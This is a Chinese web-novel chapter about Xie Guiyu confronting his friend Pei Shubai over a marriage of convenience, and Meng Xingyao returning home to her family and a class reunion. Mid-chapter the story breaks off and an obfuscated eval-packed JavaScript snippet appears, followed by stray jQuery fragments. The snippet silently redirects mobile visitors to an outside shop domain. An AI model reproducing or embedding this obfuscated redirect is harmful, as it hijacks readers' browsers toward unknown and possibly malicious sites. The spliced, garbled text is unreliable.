谢归屿将文件放回到研究所,便打车去了裴书白的家里。
按了好几下门铃,裴书白才姗姗来迟地给他开了门,他穿着睡衣,看到谢归屿出现在他家门口,深棕色眼眸里闪过一丝惊讶,“你从河西提前回来了?”
谢归屿并没有回答裴书白的话,自顾自的脱下鞋子,换上了那双他平时来这里会穿的拖鞋。
换完拖鞋,他将从楼下便利店买的啤酒递给了裴书白,走到了沙发上坐下,仰头环顾了他这个房子一圈,最后落在了刚刚走到冰箱前拿冰块的裴书白身上,开口问道:“不是结婚了吗?宋小姐没有搬过来?”
“她领证第二天就去国外见制作人了,估计一个星期后才会回来吧。”裴书白说完就离开了客厅,径直朝着楼上走去,过了会又兴冲冲地跑了下来,将一个红本子甩到了桌面上,“看,结婚证。”
“新婚快乐。”谢归屿扫了一眼结婚证,并没有打开,只是问道:“你是宋徽月的歌迷?”
裴书白走到了酒水台上弄着冰块,听到这话没好气的嘶了一声,“哪个无良营销号说的?”
谢归屿沉声道:“孟星杳。”
裴书白忽的听到这个名字,手中夹冰块的夹子咔哒一声落回冰盒里,转过身挑着眉看向谢归屿,不着调的笑了一声,“哦?联系上了。”
谢归屿靠在沙发上,“我在问你问题。”
裴书白将加了冰的啤酒端到了桌子上,又将没有加冰的那个易拉罐的直接递给了谢归屿,“你知道宋徽月有多火吗?我是她歌迷很稀奇吗?”
“嗯,稀奇。”谢归屿接过啤酒,十分没给他面子,“所以怎么突然和宋小姐结婚?”
“老裴总催我和这个千金那个小姐见面,我烦。”
裴书白说着停顿了一下,端起酒杯灌了一口,他喝的太急,酒水划过喉咙有些轻微的灼热感,缓了会才道:“恰好宋徽月准备和公司解约,她需要我的帮忙,各取所需罢了。”
谢归屿看向裴书白,并没有说话。
裴书白看着吊儿郎当,实则很有自己的原则。想要他资源的人太多了,可他愿意结婚,绝不可能是这个原因。
“我是她的歌迷,这叫追星成功。”裴书白走到了谢归屿的身边,揽着他的肩膀,朝他露齿一笑,十分欠揍的说道:“你说是吧。”
“你这是私联。”谢归屿咬牙切齿。
“你和孟星杳不是私联?”
“孟星杳说了,不算。”
裴书白听着谢归屿一问一答十分有逻辑,决定不和这种脑子聪明的人多啰嗦,深呼吸三下,最后瞥了谢归屿一眼,“......你没事吧,大半夜和我讨论私不私联?”
谢归屿哦了一声。
本来没这个打算的。
他想起大半夜来裴书白家的目的,问道:“孟星杳和宋徽月也认识,你知道吗?”
“不知道,作为粉丝,对于偶像的私生活不要太关心,这是粉丝职业道德。”裴书白又喝了一口酒,看着谢归屿笑道:“显然,你并没有道德。”
“我不是。”谢归屿反驳。
裴书白坐直了身体,眼眸里多了些探究,“那我倒好奇,你和孟星杳是怎么联系上的?”
谢归屿将在河西遇到孟星杳的事情全盘托出。
他的叙述逻辑很好,裴书白和听了一个故事一样,直到最后干脆打了个响指,“我觉得你这个故事可以拍个电影,我来投资,绝对卖座。”
谢归屿瞥了裴书白一眼。
裴书白是故意开了个玩笑,不过显然他也没什么天赋,没有把谢归屿逗笑,于是回归正题,总结了他的话,“所以你的意思是,孟星杳没有看到那条消息。”
“是啊,我明明发了消息,但我并没有收到回信,也没有等到她,再次发消息,就已经被她删了。”
谢归屿说着,那双冷淡的眼眸里总算有些情绪,如冬日冰冻的湖水忽然出现了裂缝。
“可能是网络不好,你以为发出去,但她那边没有收到,总而言之,你们因为这个误会,错过了八年。”裴书白说着,从桌子上拿起酒杯,伸出手到谢归屿的面前,示意要和他碰杯。
谢归屿直起身子,拿起杯子和裴书白碰了一杯,最后仰头将易拉罐里的啤酒一饮而尽,最后将易拉罐捏紧。
易拉罐被捏瘪了,发出轻微的咯吱声响,在安静的客厅里格外清晰。
将易拉罐扔进垃圾桶,谢归屿像是用尽了所有的力气,最后倒在了沙发上,看着天花板上的水晶吊灯,轻声道:“我以为她讨厌我。”
“讨厌?”裴书白的凤眼微眯,好看且张扬的脸蛋上闪过一丝不可思议,像是想起了什么事,最后只不明不白的说了句,“你可真是个有原则的圣人。”
*
翌日中午,孟星杳落地杭市。
刚走出来,便听到有人激动的唤她的名字,“姐!!!”
孟星杳循声望去,见许泽站在不远处,正在疯狂地朝着她挥手。
她拎着行李箱快步跑过去,笑着拍了拍许泽的胳膊,“这个点来接我,是不是逃课了?”
“哪有!我昨天刚结束军训,还没正式开始上课呢。”许泽望了望孟星杳的身后,“岑冉没和你一起回来吗?”
孟星杳拍了一下许泽的肩膀,“你有点礼貌行吗?喊岑冉姐。”
许泽撅了撅嘴,没说话。
孟星杳直接将自己的大包小包都递给了许泽。
弟弟不就是用来使唤的吗。
虽然这个弟弟和他并无血缘关系。
孟星杳的父亲有很强的大男子主义,行事非常的极端,明明当初爱上母亲是因为母亲跳舞,可生下孩子后竟然不允许她去跳舞,还出轨嫖/娼,但母亲为了给孩子一个健全的家庭就一直忍着。
后来是母亲知道了那个男人会趁她不在家的时候把孟星杳关进小黑屋,美曰其名为管教,这才毅然决然地提出了离婚。
官司打的不容易,但幸好最终胜诉。
也是那年,孟星杳主动改了姓,随母姓孟。
孟星杳从小就喜欢跳舞,喜欢像母亲那样站在台上,只是父亲不让她学,等离婚后她也已经过了上京舞附中的年龄,只能去普高走艺术,靠艺考考上京舞。
高中毕业,孟星杳带着母亲出去旅游,那个时候遇到了许泽父亲,许泽父亲是一位作曲家,他们俩回燕京又因为项目重新遇见,彼此灵魂契合,自然而然的便组成了家庭。
许泽今年刚上大学,他成绩不错,燕京或者申城的学校都可以选择。后来留在本地,也能因为孟星杳暂时不可能回到杭市,而他能多替她照顾家里。
孟星杳跟着许泽朝着停车场走去,好奇的问道:“大学生活怎么样?”
她感觉许泽瘦了,也黑了,不过和几个月前相比,似乎长大了些。
许泽手里拎着行李箱,左肩背着孟星杳的包,右手还提着她的电脑包,哼哧哼哧的道:“军训累死了。不过我们学校食堂还挺不错的,改天带你去尝尝。”
“行啊。”
说着,两个人已经走到了车子跟前。
许泽将大包小包都塞到了后备箱,作势就要坐到了主驾驶位。
孟星杳拉住了他,“等一下,你拿到驾照多久了?”
许泽有些懵的看着孟星杳,“两个月,怎么了。”
“我来开吧。”孟星杳对此很不放心。
“你还不相信你弟。”许泽假装有些伤心的撇着嘴。
孟星杳:......
很不相信!
*
最终还是孟星杳开车回了家。
杭市没有燕京那么堵,但是中午下班的点也车来车往,比平时开车回家的时间要长一点。
孟星杳早上特地没有吃饭,在飞机上也只是喝了咖啡,就留着肚子回家吃饭,刚用指纹解锁推开门,就闻到了客厅里传来的阵阵饭香。
“星杳回来了啊。”
最先
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939108|213827||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
发现孟星杳的是在客厅喂鱼的许父。
“哈喽啊叔叔,又在喂鱼呢。”
孟星杳一边笑着打了招呼,一边换了鞋往屋里走。
孟女士正在孟星杳的卧室里帮她铺着床单,听到了声音赶忙走了出来,看到女儿回来了便露出了开心的笑容,“回来了啊星杳。”
孟星杳走到孟女士的身边,抱了抱她,明明比妈妈高了一头,可是此时却像是长不大的孩子一样撒娇,“妈妈,我好想你啊。”
“多大了也不害臊。”孟女士虽然这么说着,但是脸上却还是很开心。
“姐,你这行李箱里装导弹了啊,不就回来几天吗怎么这么多行李。”许泽走到屋里,擦了擦不存在的汗,弯腰把行李箱往墙边靠。
孟星杳转过头看着过于夸张的许泽,哼了一声,“里面带了不少燕京的特产,哦对,还有你上次你说抢不到那个限量款,我托朋友帮你买到了,嫌重你别穿啊。”
许泽一下子眼睛都亮了,“真的吗姐,我要给你拎一辈子行李。”
“出息。”孟星杳吐槽。
许叔看着这姐弟俩哈哈大笑,“都去洗手吃饭吧。”
两个人排队去了卫生间。
孟星杳先洗好了手,赶忙扑到餐桌前,一拉开椅子坐好就吸了吸鼻子,看着满桌都是自己爱吃的菜,眉眼弯弯的笑道:“还是妈妈做的菜最合我胃口,外面餐馆的都比不了。”
孟舒宛女士笑着,“就你嘴甜,多吃点。”
“瞧瞧这松鼠桂鱼做的,一看就是许叔做的,我尝尝味道。”孟星杳夹了一块鱼肉送进嘴里,鲜香味裹着脆壳在嘴里散开,她忍不住眯眼点头,“许叔,你去哪偷师了,手艺地道的很啊。”
这叫端水。
嘿,她真厉害。
“姐,你去燕京是进修嘴皮子了吧,马屁都让你拍了。”许泽许泽吃了口米饭,含糊不清地说道。
孟星杳伸手弹了下他的额头,“这叫高情商说话术,你得多跟你姐我学学,将来追女孩子都好用。”
许泽捂着额头,一脸不以为然地扒拉米饭。
一桌人热热闹闹地吃着饭,话题也千变万化。
吃过饭,许泽就迫不及待的试着他的新鞋,时不时的发着语音和对方炫耀是姐姐买的。
惹得室友们都格外羡慕许泽有个舍得给他花钱的姐姐。
*
这两天孟星杳都宅在家里陪母亲,乖乖做个全职女儿。
第三天傍晚,孟星杳化了个简单的妆,开着家里的车就朝着她提前订好的餐厅去了。
订的包间临着西湖,推开窗就能看见晚霞。
孟星杳到的时候,三楼包厢已经坐了大半,推门进去的瞬间,几道声音同时响起来。
“星杳来了!”
“大忙人,两年没见了吧。”
“快坐快坐,给你留了位子。”
孟星杳笑着跟大家打招呼,视线扫了一圈,十几个人,有些熟面孔,也有毕业后就没怎么见过的,但坐在一起还是那副样子,像是回到了高中。
她刚落座,旁边就有人递过来一壶茶,“星杳,你现在可是大明星了,我在电视上看到你好几次。”
“不是明星,跳舞的。”
孟星杳接过来喝了一口,正好驱散外面带来的凉意。
“你那个综艺真不错,我看了好几遍呢。”这次聚会的召集者陈方说道。
“你说我被骂惨的那个?小陈总,下次看了记得给我控评。”孟星杳靠在椅背上,语气里开着玩笑。
小陈总是陈方的外号,他家有点小钱,高中的时候又特别大方,大家就顺着喊了。
众人都笑起来。
正在欢笑声语中,身后的门忽然被推开了。
孟星杳正背对着门,感觉人来得差不多了,便以为是服务员之类的,没有回头。
可是她却察觉到包房里忽然安静了下来,不少人都带着惊讶的表情看向了门口。